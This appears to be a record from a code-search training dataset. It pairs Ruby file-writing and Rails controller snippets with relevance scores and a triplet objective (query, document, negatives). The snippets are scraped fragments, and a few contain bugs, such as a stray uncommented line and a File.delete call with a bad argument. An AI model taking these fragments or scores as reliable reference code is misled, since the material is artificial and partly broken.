"def save_data(subject_list)\n File.open('data', 'w') do |file|\n subject_list.each do |subj|\n file.write(\"#{subj.code}|#{subj.name}\\n\")\n subj.plans.each do |plan|\n file.write(\"#{plan.name}\\n\")\n plan.classes.each do |cla|\n file.write(\"#{cla.day}\\n#{cla.start}\\n#{cla.finish}\\n\")\n end\n end\n end\n end\n File.open('data.json', 'w') do |file|\n file.write(create_subjects_json(subject_list))\n end\nend",
"def write_plist_file(plist, file_path, format='xml')\n if format == 'xml'\n plist_format = CFPropertyList::List::FORMAT_XML\n else\n plist_format = CFPropertyList::List::FORMAT_BINARY\n end\n\n begin\n plist_to_save = CFPropertyList::List.new\n plist_to_save.value = CFPropertyList.guess(plist)\n plist_to_save.save(file_path, plist_format)\n rescue IOError => e\n fail(\"Unable to write the file #{file_path}. #{e.inspect}\")\n end\n end",
"def export(file_name)\n begin\n File.delete(file_name + '.txt', 'a')\n raise\n rescue\n file = File.new(file_name + '.txt', 'a')\n ensure\n @name_list.each_key do |element|\n index = @name_list.keys.index(element)\n position = @name_list.keys.at(index)\n name = @name_list.values.at(index)\n dob = @dob_list.at(index)\n file.syswrite(\"#{position} \\t #{name} \\t #{dob}\\n\")\n end\n end\n end",
"def save_to_file()\n File.open(@filename,\"w\") do |f|\n movies_hash = []\n @items.each do |movie|\n movies_hash.push(movie.to_hash)\n end\n f.write(JSON.pretty_generate(movies_hash))\n end\n end",
"def file_message_list\n messages = Message.all.order(:id)\n file = Tempfile.new('exported_messageslist')\n messages.each do |message|\n file << message.email << ','\n file << message.name << ','\n file << 'Message_Senders' << \"\\n\"\n end\n file.flush\n end",
"def write_to_file\n File.open(config.block_list_path, 'a') do |f|\n block_count = old_newest_block ? (block_list.size - old_newest_block.height - 1) : block_list.size\n block_list = self.block_list.sort{|(k1, v1), (k2, v2)| v1.height <=> v2.height}\n block_list = block_list[(old_newest_block.height + 1)..-1] if old_newest_block\n block_list.each_with_index do |(k, b), index|\n f.write(b.to_payload)\n f.flush\n print \"\\r#{(((index + 1).to_f / block_count) * 100).to_i}% done write parsed block to #{config.block_list_path}.\"\n end\n f.write(newest_block.to_payload)\n puts\n end\n end",
"def write_commands(list)\n raise 'list must be an array!' unless list.kind_of?(Array)\n\n File.open(nagios_command_file, 'a') do |fh|\n fh.write(list.join(\"\\n\"))\n end\n end",
"def add_to_list(filename, food_item)\n\tFile.open(filename, 'a') do |item|\n\t\titem.puts(\"#{food_item} \")\n\tend\nend",
"def write\n @selected_files.each do |file|\n file.write(file.path)\n end\n end",
"def save_students\n\n CSV.open(@filename, \"wb\") do |csv|\n @students.each do |student|\n csv << student_to_list(student)\n end\n end\n puts \"Saved #{@students.count} items to #{@filename}\"\nend",
"def saveOutput\r\n tmpFile = \"#{@responseDir}/#{@fileName}.response\"\r\n if File.exists?(tmpFile)\r\n File.delete(tmpFile)\r\n end\r\n \r\n file = File.open(tmpFile, \"w\")\r\n file.write printXml\r\n file.close\r\n \r\n lstFile = \"listfile.txt\"\r\n if File.exists? lstFile\r\n File.delete(lstFile)\r\n end\r\n \r\n file = File.open(lstFile, \"w\")\r\n file.write tmpFile\r\n file.close\r\n end",
"def write_out(rows)\n File.open(file_name, 'w') do |f|\n f.puts rows\n end\n end",
"def write_list_index(list_index)\n file = File.open(\"jira-epic-progress.json\",\"w\")\n index = {\"index\" => (list_index + 1)}\n file.write(index.to_json)\nend",
"def save_wizards\n #open the file for writing\n file = File.open(\"wizards.csv\", \"w\")\n # iterate over the array of save_wizards\n @wizards.each do |wizard|\n wizard_data = [wizard[:name], wizard[:house]]\n csv_line = wizard_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"def print_to_file\n\tFile.open('1to100incl.txt', \"w\") do |file|\n\t\t@result.each {|element| file.puts element }\n\tend\nend",
"def to_file( f )\n size = 0\n @indexes.each { size += Index::FORMAT_SIZE }\n @idata.each do |i| \n size += IntData::FORMAT_SIZE\n size += i.data_size\n end\n\n buf = [@source, @name, @sym, @indexes.length(), @idata.length(), \n size].pack(PFORMAT)\n f.write(buf)\n @indexes.each { |i| i.to_file(f) }\n @idata.each { |i| i.to_file(f) }\n end",
"def write_file(out_file, output)\n File.open(out_file, 'w') { |f| output.each { |l| f.write(\"#{l}\\n\") } }\n end",
"def put\n\t\tif @out_file_kind == :sqlite3\n\t\t\tRecordsDatabase.open(@out_file) do |db|\n\t\t\t\tdb.insert_records(@out_items)\n\t\t\tend\n\t\telse\n\t\t\tFile.open(@out_file, \"a\") {|fp| fp.puts to_csv(@out_items)}\n\t\tend\n\t\t#Puts log lines to log file.\n\t\tFile.open(@log_file, \"a\") {|fp| fp.puts @log_lines}\n\tend",
"def write_file(file_name, content_array)\n\n\toutput = File.new(file_name, 'w')\n\tcontent_array.each { |line| output.write line }\n\toutput.close\nend",
"def write_to_csv(grocery_list, any_csv_file)\n\tCSV.open(any_csv_file, \"w\") do |csv|\n\t\tcsv << [\"Number\", \"Item\"]\n\t\tgrocery_list.each_index { |index| csv << [index + 1, grocery_list[index]] }\n\tend\nend",
"def write_to_file(filename) # Take name and status of file, output and save it to a new file\n completed = @all_tasks.map(&:to_machine).join(\"\\n\")\n IO.write(filename, completed)\n end",
"def write_file\n\n File.open(\"rebuild.html\", \"w\") do |file|\n @write_array.each do |tags_and_text|\n file.write tags_and_text\n end\n end\n\n end",
"def save_to_file\n File.open(@output, 'w+') do |file|\n file.puts HEADER if @additional_html\n file.puts @data_for_output.join(\"\\n\")\n file.puts FOOTER if @additional_html\n end\n end",
"def write item\n @f.write \">\"+item.id+' '+item.descr+\"\\n\"\n @f.write item.seq.strip+\"\\n\"\n end",
"def save_plist(filename, options = {})\n options = { :indent => DEFAULT_INDENT }.merge(options)\n Plist::Emit.save_plist(self, filename, options)\n end",
"def save_plist(filename)\n Plist::Emit.save_plist(self, filename)\n end",
"def save_plist(filename)\n Plist::Emit.save_plist(self, filename)\n end",
"def writeFile\n\n\toutputFile = File.new(\"./rules\", \"w\")\n\n\t@i = 1\n\t@@rulesArray.each do |rule|\n\t\toutputFile.puts \"#{@i}-#{rule.fetch('src_ip')}/#{rule.fetch('src_netmask')}:#{rule.fetch('src_port')} #{rule.fetch('dest_ip')}/#{rule.fetch('dest_netmask')}:#{rule.fetch('dest_port')} #{rule.fetch('protocol')} #{rule.fetch('action')}\"\n\t\t@i += 1\n\tend\n\n\toutputFile.close\n\n\tputs \"Rules Saved!\"\nend",
"def to_file( f )\n buf = [ MAGIC, VERSION, @timestamp.to_i, @analyses.length() \n ].pack(PFORMAT)\n f.write(buf)\n\n @analyses.each do |a|\n a.to_file(f)\n end\n end",
"def write_promedios(arr = [])\n file = File.open('promedios.txt', 'w')\n arr.each do |alumno|\n file.puts \"#{alumno.nombre}, #{alumno.promedios}, #{alumno.inasistencias} inasistencias\"\n end\n file.close\n 'Archivo creado con exito!'\nend",
"def write\n buffer = create_zip(@entries, @ignore_entries)\n\n puts \"\\nwrite file #{@output_file}\"\n File.open(@output_file, \"wb\") {|f| f.write buffer.string }\n end",
"def save_file\n\tcounter = 1;\n\ttime = Time.now.strftime(\"%d/%m/%Y\")\n\treport_file_puts \"\"\n\treport_file_puts \"Title of saved TodoList: #{@title}\"\n\treport_file_puts \"Save time: #{time}\"\n\treport_file_puts \"----------------------------\"\n\t\t@items.each do |item|\n\n\t\treport_file_puts \"#{counter.to_s} #{item.description} Completion status: #{item.completed_status.to_s}\"\n\t\tcounter +=1;\t\n\tend\t\nend",
"def batch(items)\n if items.is_a?(String)\n @file.write(\" #{items}\")\n else\n items.each { |item| @file.write(\" #{item}\") }\n end\n end",
"def write_file\n File.open(\"image_urls.txt\", \"a\") do |a|\n $urls.each do |f|\n a << \"#{f[1]}\\n\"\n end\n end\nend",
"def write_csv filename\n CSV.open(filename, \"w\") do |csv|\n @listOfItem.each_with_index { |item, index| \n if (index == 0)\n csv << [\"Quantity\", \"Name\", \"Total\"]\n end\n # check the product is valid\n if (item.product != nil)\n csv << [item.quantity, item.product.name, item.total]\n else\n csv << [\"nil\", \"nil\", \"nil\"]\n end\n if (index == @listOfItem.size - 1)\n csv << [\"Sales taxs:\", sales_tax]\n csv << [\"Total:\", total]\n end\n }\n end\n end",
"def writeOutput(outputFile,array)\n Write to file\n File.open(outputFile, 'w') { |file|\n file.write(array.join(\"\"))\n }\n end",
"def save_to_file\n File.open(\"results/#{seq_name}\"+\".txt\", 'w') { |file|\n \n n=1\n \n @actions.each do |a|\n file.puts a.description\n n +=1 \n end\n } \n \n end",
"def write_url_list(filename, id_columns, format_string, options = {})\n FileUtils.mkdir_p('urls')\n\n File.open(File.join('urls', filename), 'w') do |f|\n facility_ids(id_columns, options).to_enum.each do |id|\n f.write(\"#{format_string % {id: id}}\\n\")\n end\n end\nend",
"def write_many(writer, items, options = nil)\n writer.push_array\n items.each do |item|\n write_one(writer, item, options)\n end\n writer.pop\n end",
"def writetofile(filename)\n self.scan() if @filearray == nil\n\n begin\n FileUtils.mkdir_p(File.dirname(filename))\n file = File.open(filename, \"w\")\n @filearray.each do |line|\n firstvalue = true\n newline = \"\"\n line.each do |value|\n if firstvalue == true\n firstvalue = false\n else\n newline = newline +\",\"\n end\n newline = newline + value\n end\n file.puts(newline)\n end\n rescue IOError => e\n #some error occur, dir not writable etc.\n ensure\n file.close unless file == nil\n end\n #copies original file\n FileUtils.cp(@ddy_filepath, \"#{File.dirname(filename)}/#{File.basename(filename,'.epw')}.ddy\")\n FileUtils.cp(@stat_filepath, \"#{File.dirname(filename)}/#{File.basename(filename,'.epw')}.stat\")\n end",
"def write_to_file(path)\n File.open(path, \"w\") do |f|\n f.print serialize\n end\n end",
"def write(file=nil)\n file = file.nil? ? @file : file\n File.open(file, 'w+') {|f|\n @lines.each{|line|\n f.write(\"#{line}\\r\\n\")\n }\n }\n end",
"def save_students\n file = File.open(\"Students.csv\", \"w\")\n @students.each do |student| \n student_data = [student[:name], student[:cohort], student[:hobby], student[:birth_country]]\n csv_line = student_data.join(\", \")\n file.puts csv_line\n end\n file.close\n puts \"Student list saved to 'Students.csv'\\n\".center(100)\nend",
"def export_to_file\n path = File.join(File.dirname(File.dirname(File.absolute_path(__FILE__))))\n File.open(\"#{path}/playlist.md\", 'w') do |f|\n f.puts(\"# #{@user.username}'s Playlist\")\n @playlist.each do |track|\n link = \"[Listen on Spotify](https://open.spotify.com/track/#{track['id']})\"\n f.puts(\"1. #{track['name']} by #{track['artist']} #{link}\")\n end\n end\n copy_to_desktop(path)\n end",
"def client_list\n File.open(\"Client_List.txt\", \"w+\") do |file|\n file.puts(@connection)\n file.close\n end\n end",
"def write_file\n\t\tlines = nil\n\t\tFile.open(\"songs.txt\", \"w+\") do |song|\n\t\t\t@songs.each do |line|\n\t\t\t\tlines = song.write(\"#{line.title}\\t#{line.artist}\\t#{line.album}\\t#{line.year}\\t#{line.comments}\\t#{line.length}\\n\")\n\t\t\tend\n\t\tend\n\t\treturn lines\n\tend",
"def writeAll(filename)\n out = File.new(filename, \"w\")\n @names.keys.sort.each {|num|\n out.printf(\"%d\\t%d\\t%s\\t%s\\n\", num, @parent[num], @names[num],\n @rank[num]) \n }\n out.close\n end",
"def save\n csv = [] # store CSV lines to write to file\n # Iterate over BasicFoods and retrieve CSV format for each \n @basic_foods.each do |key, basic_food|\n csv.push(basic_food.csv)\n end\n # Iterate over Recipes and retrieve CSV format for each\n @recipes.each do |key, recipe|\n csv.push(recipe.csv)\n end\n File.write('FoodDB.txt', csv.join(\"\\n\")) # Write CSV lines to file\n end",
"def to_file\n tempfile = Tempfile.new('part_export')\n File.write(tempfile, sorted_requests.map(&:to_json).join(\"\\n\"))\n tempfile\n end",
"def write_to_file(file_name)\n\n file_out = File.new(file_name.to_s, \"w\")\n\n # write each trajectory point with a time offset beginning at launch_time to the traj file\n time_offset = 0\n @trajectory.each do |a_point|\n\n file_out.printf(\"%f,%f,%f,%f,%f,%f,%f,%f,%f,%f\\n\",\n @t_track[time_offset],\n a_point.lat,\n a_point.lng,\n a_point.alt,\n @velocity_vector_track[time_offset][0],\n @velocity_vector_track[time_offset][1],\n @velocity_vector_track[time_offset][2],\n @attitude_vector_track[time_offset][0],\n @attitude_vector_track[time_offset][1],\n @attitude_vector_track[time_offset][2]\n )\n\n\n time_offset += 1\n\n end ## end of @trajectory.each do |a_point|\n\n file_out.close # close traj the file\n\n end",
"def save_as_csv\n temp = get_email_list.map{|hash| hash.map{|k, v| [k, v]}}\n temp = temp.map { |data| data.join(\",\") }.join(\"\\n\")\n File.open(\"db/emails.csv\", \"w\") do |csv|\n csv.write(temp)\n end\n end",
"def write_to_file\n f = File.new('db/seeds.rb', 'w')\n @strings.each do |x|\n f.write(\"#{x}\\n\")\n end\n f.close\n end",
"def writeData(filename = \"out.csv\")\n\t\tfile = File.new(filename, \"w\")\n\t\t\n\t\t@dataArray.each do |singleEntry|\n\t\t\tfile.puts \"#{singleEntry[0]},#{singleEntry[1]},#{singleEntry[2]}\"\n\t\tend\n\t\n\t\tfile.close\n\t\t\n\tend",
"def output(msg, file, list)\n header = \"\\n== Acronym Maker Output ==\\n\\n\"\n if file != \"\"\n\tif File.exists?(file)\n\t File.open(file, 'a') do |f|\n\t\tf.write msg\n\t\tlist.each do |acronym, words|\n\t\t f.write(\"#{acronym.upcase} \\t #{words}\\n\")\n\t\tend\n\t end\n\telse\n\t begin\n\t\tf = File.new(file, \"w+\")\n\t\tFile.open(f, \"w\") do |f|\n\t\t f.write header\n\t\t f.write msg\n\t\t list.each do |acronym, words|\n\t\t\tf.write(\"#{acronym.upcase} \\t #{words}\\n\")\n\t\t end\n\t\tend\n\t rescue\n\t\tputs \"Error: the file name or path provided is incorrect.\"\n\t\texit\n\t end\n\tend\n else\n\tputs header\n\tputs msg\n\tlist.each {|acronym, words| puts \"#{acronym.upcase} \\t #{words}\\n\"}\n end\nend",
"def save_cache\n open(Settings[:cache_file], 'w').write @list.to_yaml\n end",
"def save_collection_to_file(filename, collection)\n\tcollection_str = JSON.pretty_generate(collection)\n\toutfile = File.new(filename, \"w\");\n\toutfile.write(collection_str)\n\toutfile.close;\nend",
"def write path\n File.open(path, 'w') do |io|\n io.print serialize\n end\n end",
"def exportfile arr\n begin\n file = File.open(\"result.txt\", \"w\")\n text = showResulf arr\n file.puts text\n file.close\n binding.pry\n rescue IOError => e\n puts \"Can not write file. Please try again after there.\"\n ensure\n file.close unless file.nil?\n end\nend",
"def to_file\n \"#{@name};#{@id}\"\n end",
"def to_file( f )\n buf = [@name, @sym, @value].pack(PFORMAT)\n f.write(buf)\n end",
"def write; end",
"def write; end",
"def write\n open(@fname,\"wb\") do |file|\n Marshal.dump(@data,file)\n end\n end",
"def create_file(arr, filename)\n\tfile = File.open(filename, \"w\")\n\tfor number in arr\n\t\tfile.puts(number)\n\tend\nend",
"def write_file\n match_file = File.new(\"matches.txt\", \"w\")\n no_of_match = @matchesarr.length\n match_file.puts(no_of_match.to_s)\n for i in 0..no_of_match - 1\n match_file.puts(@matchesarr[i])\n end\n match_file.close\n end",
"def print_to_file\n #f = File.new(\"#{Dir.pwd}/tmp/geoname_tree.txt\", \"wb\")\n File.open(\"geoname_tree.txt\", 'w') do |f|\n nodes.keys.each do |id|\n ts = tree_numbers(id).join(\"|\")\n f.write(\"#{id}|#{ts}\")\n f.write(\"\\n\")\n puts \"#{id}|#{ts}\"\n end\n end\n end",
"def write\n File.open(@file, 'a') do |w| \n w.write(\"\\n\"+ @name + \" \" + @path)\n end\n end",
"def server_list\n File.open(\"Server_List.txt\", \"w+\") do |file|\n file.puts(@connection)\n file.close\n end\n end",
"def save()\n str = \"\"\n @log.each_key do |date|\n @log[date].each do |item|\n str += item.to_s() + ',' + item.name + \"\\n\"\n end\n end\n File.open(\"DietLog.txt\",\"w\").write(str)\n end",
"def playlists_collection_end\n @filehandle << \"\\n\\t</array>\"\n end",
"def writeFile\n File.open(ARGV[1], \"w+\") do |f|\n $results.each{\n |result|\n f.puts(result)\n }\n end\nend",
"def export_to_csv(file_name, arr)\n puts \"Exporting list...\"\n csv_headers = [\"CLS URN:\", \"Lead2Lease Count:\"]\n CSV.open(file_name, \"wb\") do |csv|\n csv << csv_headers\n end\n i = 0\n while i < arr.length\n CSV.open(file_name, \"a+\") do |csv|\n formatted = []\n if arr[i].get_count > 0\n formatted.push(arr[i].name, arr[i].get_count)\n csv << formatted\n end\n end\n i = i+1\n end\n puts \"Lead2Lease list exported!\"\nend",
"def write_counts(output)\n File.open(output, 'w') do |output_file|\n @count_array.each do |pair|\n key, value = pair\n output_file << \"#{key}\\t#{value}\\n\"\n end\n end\n end"
] |
[
"0.8281509",
"0.79498315",
"0.79219097",
"0.76788014",
"0.75117344",
"0.7129831",
"0.69405466",
"0.69066125",
"0.6899505",
"0.6882944",
"0.67773116",
"0.67561984",
"0.67543817",
"0.6713939",
"0.6713939",
"0.670313",
"0.6697622",
"0.6607773",
"0.65932256",
"0.6590207",
"0.65754086",
"0.649447",
"0.64835227",
"0.6475905",
"0.643279",
"0.6418966",
"0.6392285",
"0.6382561",
"0.63821954",
"0.63359386",
"0.6335101",
"0.63298005",
"0.63285464",
"0.63163155",
"0.6301348",
"0.6276027",
"0.6275916",
"0.62705946",
"0.62626475",
"0.6230124",
"0.62098944",
"0.6207494",
"0.62070745",
"0.6202232",
"0.6199727",
"0.619644",
"0.6191995",
"0.6153036",
"0.61505026",
"0.6138695",
"0.61375076",
"0.61320704",
"0.61320704",
"0.61134255",
"0.6101053",
"0.6098108",
"0.60574466",
"0.6035183",
"0.60344267",
"0.60336524",
"0.6018879",
"0.6011168",
"0.5977656",
"0.59703195",
"0.5966108",
"0.5954357",
"0.5947715",
"0.59476846",
"0.594271",
"0.5928741",
"0.5925555",
"0.5919107",
"0.5914635",
"0.5886259",
"0.5871391",
"0.58681005",
"0.5858543",
"0.5850127",
"0.5846757",
"0.5845336",
"0.5842277",
"0.5839875",
"0.5838153",
"0.582714",
"0.58252525",
"0.58231616",
"0.582178",
"0.582178",
"0.5819224",
"0.5814324",
"0.5810063",
"0.57943696",
"0.5791508",
"0.57823473",
"0.5777855",
"0.5776401",
"0.57742727",
"0.57701117",
"0.5762833"
] |
0.7883456
|
4
|
Use callbacks to share common setup or constraints between actions.
|
def set_game_record
@game_record = GameRecord.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def after_set_callback; end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def around_hooks; end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def duas1(action)\n action.call\n action.call\nend"
] |
[
"0.6165152",
"0.60463154",
"0.59467196",
"0.5917112",
"0.5890387",
"0.58345735",
"0.57773316",
"0.56991524",
"0.56991524",
"0.565454",
"0.5622282",
"0.54232633",
"0.54119074",
"0.54119074",
"0.54119074",
"0.53937256",
"0.53801376",
"0.5358599",
"0.53412294",
"0.5340814",
"0.53314966",
"0.53114754",
"0.52984965",
"0.52977055",
"0.5296272",
"0.5260649",
"0.5245076",
"0.52388334",
"0.52388334",
"0.52388334",
"0.52388334",
"0.52388334",
"0.5235081",
"0.52321917",
"0.5228592",
"0.5220735",
"0.52198535",
"0.52139324",
"0.5208539",
"0.5206585",
"0.5178542",
"0.5175199",
"0.5173538",
"0.5167041",
"0.51614195",
"0.51577675",
"0.5153909",
"0.51528823",
"0.5152225",
"0.51429904",
"0.5141399",
"0.51345575",
"0.51145",
"0.5114052",
"0.5114052",
"0.5110216",
"0.5108656",
"0.50935394",
"0.5089196",
"0.5081936",
"0.5079627",
"0.50675833",
"0.5056105",
"0.5053687",
"0.5050475",
"0.5050475",
"0.503471",
"0.5028311",
"0.501982",
"0.50157547",
"0.5013552",
"0.50014806",
"0.50011593",
"0.49976763",
"0.4990292",
"0.4990292",
"0.49882022",
"0.4981269",
"0.49792367",
"0.49766538",
"0.4967978",
"0.49667212",
"0.4958987",
"0.49572337",
"0.49550423",
"0.4954479",
"0.4952353",
"0.494726",
"0.4944055",
"0.4935437",
"0.4931248",
"0.49283475",
"0.49281213",
"0.49268973",
"0.4921738",
"0.49204507",
"0.4918924",
"0.49182287",
"0.4916538",
"0.49158585",
"0.49156788"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def game_record_params
params.require(:game_record).permit(:json_state)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
